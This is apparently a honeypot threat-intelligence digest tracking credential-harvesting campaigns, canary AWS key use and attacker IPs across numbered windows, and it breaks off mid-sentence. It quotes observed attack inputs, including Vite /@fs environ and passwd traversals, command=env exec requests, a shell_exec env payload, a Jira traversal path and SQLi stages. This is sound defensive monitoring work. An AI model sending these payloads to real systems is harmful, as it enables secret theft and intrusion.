EDGE["Cloudflare edge IPs<br/>54 in window"] --> HOST["ai-devbox-1 HTTPS<br/>inference.fapthropic.com"]
HOST --> CENSUS["Credential census<br/>289 paths · 83 families"]
CENSUS --> MINT["76 /.env mints"]
MINT --> WATCH["AWS-use watch"]
CREDENTIAL-DRAIN active
№64: MINT EXPLOSION — 789 creds to 27 collectors, zero AWS use; TechTies 714 (single-window and single-IP fleet record, prior record 41), AI-EXEC-HUNT 41 (ties its own), Feo Prest .154 resumed (2, 18/6d); hoards: TechTies 727/6d, 136.66.182.42 41, 136.65.203.248 41, 213.209.159.175 28, 37.60.226.187 16. №63: ZERO-USE window — 50 creds minted to 28 collectors, none reached AWS in the Tracebit pull; hoards keep growing (136.66.182.42 41 + 34.58.160.181 41 = AI-EXEC-HUNT's 82, 213.209.159.175 30 + .154 18, 37.60.226.187 17, 93.152.221.96 12 since 10-21, 208.84.100.218 6). №62: USE WINDOW — 44 creds to 27 collectors (100 digest issued rows: farm 62, aidev 17, control 13, ru-edge 8), ZERO mint failures; 2 credentials ran 672 AWS events from 1 use IP, 95.111.225.106: 660 DENIED — ssm:GetParameter ×390, ec2:DescribeVpcs ×130, ec2:DescribeImages ×130, ec2:ListRegions ×4, ec2:RunInstances ×4 (second provisioning-shaped denial after WEBSIPHON №55) — plus 12 sts:GetCallerIdentity SUCCESS; mint side ties the same IP (1 farm mint 07:37 10-24, same-window mint→use arc); the second used credential's mint row is not in the pull. №61: ZERO-USE STREAK BROKE — 92 credentials to 34 collectors (96 digest issued rows: farm 63, aidev 17, control 11, ru-edge 5); 2 used, both sts:GetCallerIdentity SUCCESS from 137.23.38.53's hoard (the SES-QUOTA-PROBE mint side, 4 mints since 10-17, 1 use IP); AI-EXEC-HUNT return haul 41 (ties record); failures 21×400 + 1 tracebit-error 404 (167.71.175.236 aidev — class's second window). №60: SECOND consecutive zero-use window — 33 Tracebit credentials to 19 collectors, 0 AWS use; NEW failure class: 2 `tracebit-error` rows on aidev (tracebitStatus NULL, error 'coalesced issuance returned no credential') beside 45×400; 45.148.10.125 minted on all four canary sensors in one 01:44 pass. №59: FIRST ZERO-USE WINDOW since №18 (2026-09-12) — 54 Tracebit credentials to 26 collectors (70 digest issued rows), 0 AWS use events; 48×400 mint failures across 31 collector IPs (burst-pacing class, no 401s); 45.148.10.171 27th consecutive minting window (34/6d); 213.209.159.175 28/6d (8 in-window); 37.60.226.187 17/6d (5 in-window); 34.58.160.181's 41-hoard zero use at +72 h. №58: 63 credentials to 36 collectors (72 digest issued rows, 18 failures — 17×400 + 1 empty); 2 OLDER credentials used by NEW use IP 156.225.26.90 (17 events: ListFoundationModels ×10 denied, GetAccountSummary, DescribeRegions, ListBuckets, ListCustomModels denied, GetCallerIdentity success) — the same IP ran /@fs/proc/self/environ ×4 + /@fs/app/.env + /@fs/app/package.json on farm+aidev at 02:18–02:22 UTC-4, the first direct use-side↔METADATA-HUNT-marker link. AI-EXEC-HUNT's 41-credential hoard: zero use at +24 h. №57: 75 credentials to 19 collectors (82 digest issued rows); 2 used — both by 137.23.38.53, now SES-QUOTA-PROBE (84 events: GetSendQuota ×72 denied + GetUser ×6 denied + GetCallerIdentity successes). Largest new hoard: 34.58.160.181's 41 (AI-EXEC-HUNT, 0 use at window close). 45.148.10.171 44/6d (25th window); 213.209.159.175 18/6d; Feo Prest .154 spread to 4 sensors. 36×400 mint failures (aidev 12, farm 13, control 7, ru-edge 4). №56: 46 credentials to 30 collectors; 10 used (81 events, 42 successes — all sts:GetCallerIdentity — 39 denied). 137.23.38.53 self-validated its farm canary again (third window). NEW use IP 85.121.176.200 (1 aidev credential, GetCallerIdentity only). №55's 23-op sweep kept working 7 l9scan hoards past the flux cutoff (outside-window rows). No success beyond GetCallerIdentity; no provisioning attempts this window. №55: ESCALATION — 18 Tracebit alerts, 2,227 use events across 11 credentials; mint side 45 credentials to 33 collectors. THREE use IPs: 168.222.244.156 ran the 23-op AWS inventory sweep (EC2/RDS/KMS/Secrets/SSM/CodePipeline/Lambda/CloudFormation/CodeBuild + GetCallerIdentity) with Boto3/1.43.114 (Linux) against 7 REGISTRY-HUNT/LeakIX runners' canaries (~289 events each); 185.209.196.169 used WebSiphon's 2 ru-edge canaries (Boto3/1.43.108) incl. DENIED ec2:RunInstances + ec2:PurchaseCapacityBlock — first provisioning-shaped calls; 137.23.38.53 self-validated 2 canaries (Python-urllib/3.14). 1,051 GetCallerIdentity successes; 1,176 denied operations. №54: USE RETURNED after three zero windows (streak broke at 189) — 55 credentials to 37 collectors; 209.99.188.170 validated its own /.aws/credentials mint on ai-devbox-1 (issued 06:25:15Z) with sts:GetCallerIdentity ✓ at 08:55:32Z (2 h 30 m later), same-IP, UA kingfisher-scanner/1.2.0 + Chrome/140 — first sighting of this validator; 1 success, 0 denied ops. Sibling 209.99.189.217 minted 2 (pair 287 ev all-time). Hoards: 45.148.10.171 48/6d (22nd window), 35.253.66.111 41, 34.124.231.201 40. Mint failures 14×400. №53: THIRD consecutive zero-use window — 38 credentials to 27 collectors, 0 AWS events; streak 189 since the last use. 45.148.10.171 21st consecutive minting window (5 creds / 8 issued rows, 48/6d). 13 first-window collectors incl. 102.220.163.155 (3 nodes), the 195.177.94.x pair, 93.123.109.226 (2). №52: 49 credentials to 25 collectors, 0 AWS use — second consecutive zero-use window. NEW top collector 194.59.31.39 (8 mints, aidev, slow 6-h config census, bare-Chrome + Chrome/124); 79.124.58.82 3 mints (OMEGA escape); 45.148.10.171 9 mints (50/6d, 20th window). №51: ZERO USE — 102 creds to 26 collectors, none reached AWS (first zero-use window after №50's record. Record single-IP mint 41: METADATA-HUNT's 35.253.66.111. Hoards: 45.148.10.171 51/6d 19th consecutive window, 87.120.104.29 18/6d, 35.253.66.111 41 fresh. Sole mint failure: transient Connection reset to community.tracebit.com on ru-edge). №50: THIRD use window and a record — 80 creds to 32 collectors, 5 used, 28 events (6× sts:GetCallerIdentity ✓; 22 denied incl. GetServiceQuota ×8, DescribeInstances ×4, DescribeRegions ×4, DescribeInstanceTypes ×2, ListNotebookInstances ×2). NEW synchronized dual-collector mint→use pair: 169.58.180.111 (Contabo FR) and IPv6 2a02:c207:2350:9697::1 (Contabo) both began minting 08:22 EDT 10-12 on ai-devbox-1 + canary-farm-1 (9 + 11 mints) and each self-used 2 credentials from 1 IP — EC2 enumeration classes; the IPv6 pair is the funnel's first IPv6 collector. 131.193.125.163 (University of Illinois at Chicago, outside the flux window — Tracebit the only witness) used 1 credential for GetCallerIdentity ✓. 0 mint failures, third clean window. Hoards: 45.148.10.171 45/6d (18th minting window), 34.124.231.201 40/6d, 102.220.161.102 27/6d, 80.94.92.65 15/6d, 208.84.100.218 10/6d. №49: SECOND consecutive use window, NEW SHAPE — 41 creds to 29 collectors, 2 used, 7 events: 4× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 ✗ + ListBuckets ×1 ✗ (all recurring classes). FIRST single-credential multi-egress use: Bucklog 185.177.72.64 minted 2 on control (23:36 EDT 10-11, Firefox/5.0 forgery) and 1 credential ran 5 ops (GetCallerIdentity ×3 ✓ + ListFoundationModels ×2 ✗) from 4 distinct AWS-side IPs. 72.251.220.23 (curl/8.7.1, aidev mint 08:43 EDT) self-used from 1 IP (GetCallerIdentity ✓ + ListBuckets ✗). 0 mint failures, second clean window. Hoards: 45.148.10.171 43/6d (17th window), 34.124.231.201 40/6d (absent), 80.94.92.65 19/6d. №48: USE RETURNED after two zero windows — 2 credentials / 3 events, all sts:GetCallerIdentity ✓, BOTH same-IP mint-and-use: 209.97.180.8 (REGISTRY-HUNT runner; minted ru-edge, used same IP) and 128.199.182.55 (minted farm 10-08, used now); 53 creds to 30 collectors, 0 mint failures; hoards .171 45/6d (16th window), 34.124.231.201 40/6d, 209.159.155.142 12 (new entrant). №47: SECOND zero-use window — 84 creds to 33 collectors, 0 alerts / 0 successes; mint failures 17×400; record single-IP mint 40 (METADATA-HUNT 34.124.231.201); hoards 45.148.10.171 40/6d (15th window), 80.94.92.65 27/6d over 4 sensors, 87.120.104.29 12/6d. №46: ZERO USE — 60 creds to 30 collectors, none reached AWS (first zero-use window since №42). Mint failures RETURNED: 11×400 (farm 4, aidev 3, control 2, ru-edge 2) after five clean windows — scattered singles plus CONFIG-SWEEP's farm burst pair. Top holders: 45.148.10.171 10 mints (41/6d), 150.241.66.127 6 (EMPERORS-KIT), 160.177.245.67 5 (NIGHTAGENT). №45: ELEVENTH use window — 4 credentials / 13 events (7× sts:GetCallerIdentity ✓, 6× ListFoundationModels denied) and ALL FOUR self-used: minted and consumed inside the window. Feo Prest pair FIRST JOINT USE — .154 (1 cred, 4 ops, minted farm 04:55) and .175 (1 cred, 4 ops, minted control 11:02); SS-Net .211 (1 cred, 3 ops, minted aidev 02:50); FIRST-TIME collector 209.99.189.217 self-validated 1 cred (GetCallerIdentity only). 58 creds to 34 collectors, 0 failures (4th straight clean window). Same-session use now 9/9 across №44–№45. №44: TENTH use window — 5 credentials / 78 events (72 denied, 6× sts:GetCallerIdentity ✓). SES enumeration RETURNED via Bucklog 185.177.72.205 (GetSMSAttributes ×34 + GetSendQuota ×34 denied). FIRST same-IP mint-and-use: LeakIX l9scan 157.230.19.140 + 167.99.181.249 validated their own canaries (GetCallerIdentity ✓ + ListBuckets denied) — use IP now equals the mint IP. SS-Net .211: 1 cred / 4 ops. 70 creds to 26 collectors, 0 failures (third window). Hoards: Feo .175 77/6d, .154 38/6d, .171 28/6d. №43: NINTH use window — 1 credential / 4 events (2× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 denied); use side SS-Net .211, which also returned to minting (2 on aidev under an Opera/5.02 forgery) after №42's miss. 56 creds to 41 collectors, 0 failures. Hoards: .175 89/6d, .171 24/6d. №42: EIGHTH consecutive use window — 1 credential used (Feo Prest .175: 2 sts:GetCallerIdentity successes + denied ListFoundationModels ×2 from 4 AWS IPs; mint side control-1). 35 mints to 24 collectors, 0 failures.
flowchart LR
MINT["/.env mint burst"] --> COLLECT["Collector harvest<br/>.154 · .211 · l9scan .72"]
COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
USE --> S1["sts:GetCallerIdentity<br/>✓5"]
USE --> S2["Denied ops<br/>ListFoundationModels ×4"]
S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]
NIGHTAGENT idle
№52: absent — seventh consecutive idle window; the unrotated nightagents/nightshell URL still 404s. №46: RETURNED after one absence — NEW operator 160.177.245.67 (ONP MA) ran the FULL kit on both EU nodes in one overlapping session (farm 07:55–09:04 UTC 184 ev, aidev 08:23–08:32 UTC 276 ev): phpunit verify → UNCHANGED nightshell dropper POST (GHSAT token byte-identical; unrotated since first capture) → form login user=root&pass=wrong → wp-batch multiplex + SQLi → 5 mints (aidev 3, farm 2 — the campaign's largest mint haul) + config-bundle census (webapp-config-bundle-js 100 ev). NEW STAGE: tomcat-path-bypass-env ×25 — every one of the tag's fleet events belongs to this IP. №45: FIRST ABSENCE after two .49 windows (0 events; the 105.159.4.244 operator also out). №44: SECOND .49 RUN — 185.213.193.49 ran 3 passes (farm 07:37, aidev 11:32+13:24, farm 17:58 EDT), credential stages only: form login user=root&pass=wrong → wp-batch SQLi (||OK|| probe) → /.env mint ×3 → config-bundle census → phpmyadmin legs → adminer prod_rw POSTs with a FRESH 22-char password per pass (8LB9tLMFj2cQ2llBuH7vPA / Y6kVIvepMM16CeMI-5YwoQ / 1ocYDyySV4cQEz4RIXb7Kg) — the INFOCREST password shape. NO phpunit verify, NO dropper POST. .244 absent. NINTH RUN №43 — RETURNED after 15 idle days: 105.159.4.244 (ONP MA) posted the verbatim verify '<?php echo "NightAgent";?>' AND the UNCHANGED nightagents/nightshell dropper POST (same GHSAT token; repo 404 since 09-24, so the copy() cannot succeed), then form login user=root&pass=wrong + wp-batch SQLi + config-bundle census + 1 mint (farm). Second operator same day: 185.213.193.49 (Zenlayer US) ran the kit minus the phpunit stage — 3 passes across farm+aidev, 3 mints. №28: first mint; dropper URL is unchanged kit, not the registered 'return requires new dropper URL' case.
flowchart LR
V["phpunit verify<br/>NightAgent echo"] --> D["nightshell dropper POST<br/>unchanged URL + token<br/>(repo 404 — copy fails)"]
D --> L["form login<br/>user=root&pass=wrong"]
L --> W["wp-batch SQLi<br/>author_exclude UNION"]
W --> C["config-bundle census<br/>+ /.env mint"]
METADATA-HUNT idle
№58: FIFTH idle window for named runners — but the marker stage now has a USE-SIDE face: 156.225.26.90 ran /@fs/proc/self/environ ×4 + /@fs/app/.env + /@fs/app/package.json on farm+aidev (bare Mozilla/5.0, 02:18–02:22 UTC-4) and is the same IP Tracebit saw using 2 older credentials in AWS (Bedrock/IAM battery — see CREDENTIAL-DRAIN). №57: FOURTH idle window — no named-runner or marker census; but the toolkit circulated: AI-EXEC-HUNT (№57 NEW) ran the @fs + AI-crawler-UA template with a live exec stage, and Techoff 195.178.110.22 probed /@fs/etc/passwd-class paths on 4 no-canary nodes. Template reuse; operator link unproven. №53: census + marker absent — the 8 in-window @fs events are №52's 05:57–06:00 EDT run riding the +4h ingest cast, verified by timestamp; no repeat. №52: census + mint absent (35.253.66.111 and the named-runner roster 0 ev); marker-only probe — 144.172.64.99 (bare Mozilla/5.0) ran the @fs Vite file-read pair (/@fs/proc/self/environ + /@fs/etc/passwd, vite-fs-* results, 2 each) on both EU nodes. №51: RETURN after three runner-absent windows, NEW runner shape — 35.253.66.111 (GCP US) farm-only burst 650 ev / 310 paths, 10:37:15 EDT onward, ~30 forged AI-crawler UAs (Bravebot, Qwenbot, KimiBot, Claude-User, GrokBot, Applebot forgery…). CODE-EXEC chain captured, all env-harvesting: POST /lib/terminal-xhr.php command=env&password=bypass&csrf=x; /api/v1/validate/code langflow @exec(subprocess… env); /api/fs/exec {"command":"env","args":[]}; php-cgi shell_exec('env 2>/dev/null || set 2>nul'); /read-document {"file_path":".env"}; /api/templates/preview ../../.. traversal; graphql introspection ×3; 41 mints at /.env — the fleet's single-IP mint record. №48: RUNNER ABSENT (one-window return) — the 34.124.231.201 pass re-appears in №48's digest only via the +4 h cast overlap (6 webapp-form-profile rows), not a second run; 40/6d hoard unchanged. №47: RETURNED + MAJOR UPGRADE after 12 marker-absent windows — single GCP runner 34.124.231.201 (SG) ran a 21-second code-execution census on canary-farm-1 (374 ev / 223 paths / 74 fams / 36 POSTs, 08:05:03–24 UTC 10-10) under 33 forged AI-crawler UAs (set grew: Kimi, DeepSeek, MistralAI, Qwenbot, Hunyuan, PanguBot, cohere, DuckAssist, Bravebot, ChatGLM, YiBot, xAI-Grok new); NEW code-exec stages (Langflow /api/v1/validate/code @exec subprocess, Flowise customMCP, /lib/terminal-xhr.php command=env, /read-document + /api/designer/v1/file-content env reads, /api/templates/preview ../../..// traversal, /api/fs/exec, php-cgi shell_exec ×7 paths) + the classic /@fs Vite credential traversals; 40-mint batch at /.env = fleet single-IP record; 0 AWS use. Earlier cycles: idle №16–№46, and №33 had 3 @fs marker rows again (136.85.48.119, farm, 2nd window) with a 291-ev credential-family run (firebase/gcp-credentials, graphql, forged AI-crawler UAs, 3 mints) — resumption candidate.
№56: ESCALATION — 79.124.58.82 ran the fleet-class census on ai-devbox-1 (450 ev / 450 paths / 106 families in 1 min, 09:52 EDT, forged Googlebot/2.1, 1 mint — 5/6d); pool walker 94.154.43.99 touched all 8 sensors (18 ev, bare Mozilla/5.0 + empty UA). №55: RETURNED — registered operator 79.124.58.82 (Tamatiya EOOD BG) ran the 150-path pass on sponge-01-ts (150 GETs / 150 paths / 5 families in ~1 min, 22:30 EDT); the /46 block missed a 15th window. №54: FULLY ABSENT — 79.124.58.82's fourth pass did not come (3 passes/26 h then silent; standing-crew read unconfirmed) and the /46 block missed a 14th window. №53: THIRD PASS — 79.124.58.82 hit control-1 again 11:00:55–56 EDT 10-15 (450 ev / 450 paths / 106 fams, forged Googlebot/2.1, /jenkins/.env + /strapi/.env 200s, 1 mint; 4/6d) — a second control pass the same day after 02:22 EDT. Standing-crew read, not a one-pass visitor. №52: TEMPLATE ESCAPED THE /46 BLOCK AGAIN — 79.124.58.82 (Tamatiya EOOD BG, forged Googlebot/2.1) ran the census fleet-class on ai-devbox-1 (466 ev / 403 paths / 104 families in 11 s, 18:50 EDT) + control-1 (450 / 450 / 106 families in 9 s, 02:22 EDT 10-15), 3 mints (2 aidev + 1 control at /.env); /46 block absent a 12th window. №52 kills: ssh-private-key-error 22 aidev + 27 control, wp-config, fake-git, terraform-tfvars families. №45: FIFTH consecutive miss — no /46 census; pool singles 94.154.43.84 (aidev) + .164 (farm) minted 1 each 09:48 EDT under forged Chrome/147 — the same single-mint pattern as №42–№43. №43: THIRD consecutive miss — no /46 census; a NEW pool-singles pair 94.154.43.125 (farm) + .146 (aidev) minted 1 each under Chrome/147, and .100's bare-UA `/` passes repeated on 7 nodes (71 ev). №42: SECOND consecutive miss — pool singles 94.154.43.129/.164 minted 1 each again (04:16 UTC, forged Chrome/147). №41: first miss after .250's second run. Block spans .242–.250; no observed AWS use.
flowchart LR
OP["/46 pool · forged Googlebot/2.1<br/>.242–.250 + pool singles"] --> SWEEP[".250: 743-path census<br/>118 families in 12 s"]
SWEEP --> MINT["/.env mints ×5<br/>ru-edge"]
MINT --> HOARD["Standing hoard<br/>zero AWS use"]
REGISTRY-HUNT active
№64: 15 DigitalOcean runners re-ran the full 27-family walk (46.101.1.225 on 3 sensors; 143.110.217.244, 167.99.182.39, 159.89.12.166, 164.90.208.56 on 2); evening mint wave 20:38–22:00 UTC — 13 runner IPs 1 mint each + control legs 206.189.233.36, 206.81.24.74, 134.209.25.199, 146.190.242.161; wordlist refreshed (/.env.save.*, /mgmt/tm/util/bash, /django_settings.py). №63: fleet-wide wave again — 11 DigitalOcean runners ran the full 27-family walk across farm/aidev/ru-edge and reached lauterbourg for the first time (46.101.1.225, 207.154.212.47, 209.38.208.202 each on 2 sensors); 13 of the window's 50 mints went to l9scan runners 20:55-21:45 UTC across 4 UA variants. №60: FLEET-WIDE again — the digest split one walk into three per-node signatures (c540fc530a5a farm 10 IPs / 390 ev; NEW 07424de5d81a ru-edge 8 IPs / 312 ev; NEW 2de0cfe65017 control 7 IPs / 273 ev — the №59 per-node-result-tag quirk: one campaign, not three); kill-chain carries 10+ DigitalOcean runners (167.172.232.142, 165.227.84.14, 206.189.19.19, 159.89.127.165, 64.227.32.66, 64.227.70.2, 209.38.208.202, 206.81.24.74…); one mint per runner (167.172.232.142 + 206.189.19.19 farm, 206.81.24.74 aidev, 209.38.208.202 control). №58: 15 mints to 14 l9scan runners — one-mint-per-runner shape intact (206.189.233.36 ×2 control+ru-edge; 46.101.1.225, 167.99.210.137, 206.81.24.74, 138.68.86.32, 138.68.82.23, 142.93.129.190, 157.245.105.107, 157.245.113.227, 164.92.244.132, 167.71.81.114, 167.99.182.39, 68.183.9.16 new-to-mint; 45.138.12.51 l9explore 1); cluster 850993125b15 6 IPs / 246 ev on farm. №57: HOARD OPERATORS RETURNED IN-WINDOW — the №56 outside-flux AWS users ran the 25-family l9scan journey again on 4 sensors (138.68.82.23 + 157.230.19.140 + 164.90.228.79 + 157.245.36.108 + 206.189.19.19 + 139.59.132.8 + 68.183.9.16 + 146.190.242.161 + 206.189.225.181 + 209.38.208.202); 157.230.19.140 minted 1 on aidev 20:25 (l9scan/2.0.632323 UA). New runner 138.68.86.32 (l9scan/2.0.930323) 78 ev / 25 fams on 2 sensors. Farm cluster c540fc530a5a 6 IPs / 234 ev. №56: CONTRACTED — farm cluster 850993125b15 5 IPs / 205 ev; aidev sibling b07c7bb207b4 4 IPs / 164 ev; tarpit-only 4b4cc0ece037 16 IPs / 112 ev; l9explore 45.138.12.51 264 ev on 3 sensors + 2 mints (8/6d). №55's runners' canaries kept drawing AWS calls past the window close (outside-flux rows in the canary section). №55: CANARIES VALIDATED — 168.222.244.156 ran the 23-op AWS inventory sweep (Boto3/1.43.114, ~289 events/credential) against 7 runners' mints (138.68.82.23, 147.182.200.94, 157.230.19.140 ×2 sensors, 159.223.132.86, 164.90.228.79, 167.71.175.236, 64.23.218.208); ~18 issued rows to 16 l9scan IPs in the 20:23–20:42 EDT wave (64.23.218.208 ×3, 157.230.19.140 ×2, the rest ×1); farm cluster 850993125b15 6 IPs / 246 ev. №54: farm cluster 850993125b15 14 IPs / 693 ev + aidev sibling b07c7bb207b4 7 IPs / 328 ev; 16 runners minted 25 issued rows (209.38.208.202 ×3, 209.38.248.17 / 64.23.218.208 / 143.110.213.72 ×2 each, twelve at 1); docker-registry stage ran below spike threshold. №53: docker-registry enum stage drove the fleet's 3.0–3.2× manifest/tags spikes (control + ru-edge 45/45, frantech + sponge 25/25); farm cluster c540fc530a5a 8 IPs / 312 ev; ~10 DigitalOcean runners minted ~12 canaries (165.22.34.189 2, 46.101.111.185 2, eight 1 each). №52: 19-IP wave, 1,052 ev, ALL 8 sensors; 14 runners minted 1 each (1 per IP — 159.223.132.86, 206.189.19.19, 138.68.86.32, 165.22.34.189, 134.122.28.88, 64.23.218.208, 164.92.107.174, 157.245.105.107, 167.99.210.137, 139.59.231.238, 128.199.182.152, 128.199.182.55, 167.172.232.142, 45.138.12.51); NEW l9explore/1.2.2 operator 193.32.204.199 (195 fake-git farm + 49+49 not-handled netcup/frantech). №50: ALL-8 WAVE — l9scan runners on every sensor: canary-farm-1 167.71.81.114 (123 ev, 3 mints), 64.227.70.2, 138.68.144.227, 167.172.232.142; ai-devbox-1 167.172.158.128, 167.99.182.39, 157.245.105.107, 159.89.12.166 (41 ev, 1 mint each); control-1 165.227.84.14 + 139.59.231.238; ru-edge-1 46.101.111.185 + 147.182.200.94; single-pass legs 39 ev on frantech-ts (206.189.95.232), sponge-01-ts (167.71.175.236), netcup-ts (134.122.28.88); kiteworks-vhost legs 206.81.12.187, 165.22.235.3, 167.99.182.39 (40 ev each, lauterbourg). l9explore 45.138.12.51: 87 ev / 1 mint on ai-devbox-1 (6/6d). ~14 mint rows from the class. №49: wave held at reduced spread — 12 l9scan runner IPs minted 13 canaries across farm/aidev/control/ru-edge in the 19:57–20:35 EDT evening wave (digest cluster 850993125b15 6 IPs / 246 ev farm-only; the 27-family docker-registry journey on 4 sensors in the kill-chain table). l9explore 45.138.12.51 WIDENED to 5 sensors (440 ev) with 3 mints (control 09:02, farm 00:38, aidev 02:50 EDT). №48: CONTRACTED wave — ~11 runner IPs on farm/aidev/control/ru-edge (the 27-family docker-registry journey; digest cluster 850993125b15 6 IPs / 246 ev farm-only); 11 mints 1/IP; FIRST USE SINCE №45 — two runners self-validated in AWS (209.97.180.8, 128.199.182.55, sts:GetCallerIdentity ✓); l9explore 45.138.12.51 down to a 1-ev lauterbourg touch. №47: ~49 l9scan IPs on ALL 8 sensors; NEW signature b3c6048a4870 (lauterbourg) carries a DEEPER Jira traversal (5 `..::` levels vs 2; 11 ev / 10 IPs, one node only) and rode the kiteworks vhost (428 ev, 8 runners); 22 of the window's 33 canary collectors were l9scan runners (evening wave 23:46–03:12 UTC); LeakIX toolset widened — 45.138.12.51 (Tc Datacenter LT) ran l9explore/1.2.2 (87 ev) + l9tcpid/v1.1.0 on frantech+sponge. №46: RECORD WAVE — 37 l9scan IPs / 116 weblogic+confluence events across ALL 8 SENSORS (per-sensor presence farm 11, ru-edge 9, control 8, netcup 6, sponge 6, lauterbourg 6, frantech 4, aidev 4); 22 IPs minted 31 canaries (crossnode minters 157.245.204.205 ru+control, 167.99.210.137 farm+ru, 146.190.103.103 aidev+control); 0 observed AWS use at window close. NEW STAGE: 52 IPs ran a Jira archive-traversal probe (/download/resources/jira.webresources:color-picker-popup/images/..::..::META-INF::maven::com.atlassian.jira::atlassian-jira-webapp::pom.properties, 64 events) between Confluence and WHM — the journey change behind №46's two new signatures (fe0b8d49a878 ru-edge, 24e7b3a70bf9 control; farm's 850993125b15 unchanged); 8 UA variants. №45: 17 l9scan IPs / 811 events (flat vs №44's 18/847) in the 19:54–21:06 EDT wave across farm, aidev, control, ru-edge, lauterbourg (Kiteworks vhost), sponge; 12 IPs minted 1 each (13 mint rows; 206.189.95.232 hit farm+ru-edge) + l9explore 45.138.12.51 87 ev / 1 mint (5/6d). NO self-use this window — the wave's 13 canaries sat unused at window close (№44's two self-using runners did NOT repeat: mint≠use again). №44: 18 l9scan IPs / 847 events across ALL 8 SENSORS (first all-8 wave), 14 mints at 1/IP; NEW: two operators self-used their canaries in AWS (see CREDENTIAL-DRAIN). №43: 18 l9scan IPs / 769 events / 14 mints (1/IP) across 6 sensors in one 19:53–20:43 EDT wave, all DigitalOcean; UA variants 2.0.930323 / 2.0.234313 / 2.0.6343 / 2.0.632323. l9explore 45.138.12.51: 87 ev on netcup, 0 mints (4/6d). LeakIX l9scan template. №42: contracted to 17 l9scan/l9explore IPs / 1,219 events after №41's 31-IP record; mints 1/IP across control, aidev, farm, ru-edge + lauterbourg (27-family kill-chains; 165.227.173.41 hit 2 nodes); zero burst rejections. 45.138.12.51 (Tc Datacenter LT) mints under l9explore/1.2.2 with a 20-family env census — exploit-grade sibling. LEAKIX-SSH absent this window. Honest UA; borderline per registry.
flowchart LR
L9["LeakIX l9scan<br/>17 IPs №42"] --> W1["WebLogic console"]
W1 --> W2["Confluence · WHM/cPanel"]
W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
DR --> GR["/graphql introspection"]
GR --> MINT["Mints 1/IP ×23<br/>one runner used in AWS"]
CREDSWEEP active
№64: TechTies 93.152.221.96 turned the shared wordlist into a full kit run (48,329 ev, 714 mints) — promoted to its own row TECHTIES-KIT; SI-CENSUS 102.220.163.241 rode along on all 8 sensors (13 ev, 3 mints). №63: census class re-armed by two fresh operators on the shared directory-fanout wordlist — 102.220.163.241 (SI-CENSUS /24, 2 nodes, 5 mints) + 93.152.221.96 (TechTies, 7 sensors, 8 mints, 12/6d hoard); 13 mints between them. №54: .155's SECOND window — canary-farm-1 only (514 ev, 22:57-00:46 EDT), 1 mint at /.env 22:57:50 EDT (4 all-time); Feo Prest .154 3-node day: netcup 171 ev in 4 s (18:18 EDT) + sponge 171 ev in 11 s (23:42 EDT, byte-identical 167 paths) + control 46 ev with 2 mints, under three antique forgeries (Safari/7.1.8 macOS 10.9, Android/4.1.2, Chrome/11-XP); NEW stripped-UA operator 191.217.250.172 (Samuel Dierich US): aidev 178 ev in 5 min, /.env mints ×2 bookending the walk, /@fs/.env + /@fs/.env.local probes (METADATA-HUNT marker fragment); .175 minted 4 on control (10/6d). №53: NEW operator block 102.220.163.155 (VPS Dedicated LLC SI — same org as SI-CENSUS's 102.220.161.x) ran the directory-fanout template byte-identically on ai-devbox-1 + canary-farm-1 + control-1 (514 ev / 511 paths / 34 fams each, Chrome/126.0.0.0, pscan-<8hex>-nonexistent.txt marker) and minted at /.env on every node — 3 canaries. Techoff 93.123.109.226 second window: control-1 514 ev error-census, 2 mints at /.env. 45.148.10.238 control-1 757 ev / 370 paths / 26 fams / 5 POSTs. Feo Prest 213.209.159.154 minted 2 on farm (4/6d). №52: 45.148.10.238 netcup FIRST — 836 ev / 373 paths / 13 POSTs in 5 min (21:14 EDT), 16-UA modern rotation incl. the `Mozlila/5.0` typo forgery; SAME-ASN Techoff operator 93.123.109.226 (BG) ran sponge in the same window (514 ev / 510 paths / 1 min: webshell-probe 84 + the config-backup first-seen census); 45.148.10.5 1 mint control; 45.148.10.171 20th consecutive minting window (9 mints / 4 sensors, 50/6d). №43: .171 ELEVENTH consecutive mint window — 4 mints across farm/aidev×2/control (24/6d) from only 10 events on 7 sensors. The 45.154.138.x cluster returned for a SECOND mint window with 9 mints — promoted to its own row (CONFIGBUNDLE-SWARM). Feo .154 absent; .92.65 minted 4. №42: 45.148.10.171 TENTH consecutive minting window — 6 mints across 4 sensors, 0 rejections (20/6d). NEW /24 collector cluster 45.154.138.x on control: 3 IPs (.72/.88/.51), 1 mint each, Firefox/105 + Chrome/39 + Chrome/106 forgeries. Feo .175 minted 2 + used 1; .154 minted 2 (72/6d). SS-Net .92.65 minted 7 across 3 sensors (17/6d). №41: ninth window.
flowchart LR
OP["Feo Prest /24 ·<br/>VPS Dedicated SI · 45.148.10.171"] --> ENV[".env-variant +<br/>credential census"]
ENV --> FORGE["Antique-UA + Mozlila<br/>typo forgeries"]
FORGE --> MINT["Mints every window<br/>.175 hoard 135/6d"]
XMLRPC-BRUTE active
№64: IDLE — the 9,807-POST burst in this digest's top-talkers is №63's 136.70.193.85 event re-shown by the window-overlap quirk; no new POSTs. №63: EIGHTH operator — 136.70.193.85 (Google LLC US) lauterbourg 9,807 system.multicall POSTs in 17 min (05:42-05:59 UTC), 7,861 DISTINCT bodies 480-1,496 B — first MULTI-ACCOUNT dictionary of the campaign (usernames rotate, sample leslyg; Arabic-script passwords), forged Chrome/89; owns the wp-xmlrpc-post 22.3x spike. №62's 194.26.192.113 (1337 Services) STAYED for a second window: 2,000 POSTs low-and-slow over 12.4 h, fixed admin, 479-497 B. №62: SEVENTH operator — 194.26.192.113 (1337 Services GmbH NL, the ANDROXGH0ST-KIT lead's ASN) on lauterbourg-01-ts: wp-wlwmanifest + wp-user-enum-rest-list preflight, then 1,000 system.multicall POSTs to /xmlrpc.php in 15 s (400 B bodies wrapping wp.getUsersBlogs, fixed admi… username, forged Chrome/78) — the №35 batch shape at ~6× the pace. №54: second silent window — 6 background wp-xmlrpc events fleet-wide. №53: silent again — 0 wp-xmlrpc events after №52's single-window return. №52: RETURNED — 85.204.70.116 (Hydra Communications Ltd GB, AS25369, forged Chrome/78) on lauterbourg 01:16 EDT 10-15: wlwmanifest.xml + wp-json users preflight, then 60 system.multicall POSTs to /xmlrpc.php in 1.5 s (484 B bodies, 200s). Sixth operator. №37: 185.19.40.202 (1337 Services GmbH NL) returned on lauterbourg with 1,000 system.multicall POSTs in 89 s, fixed 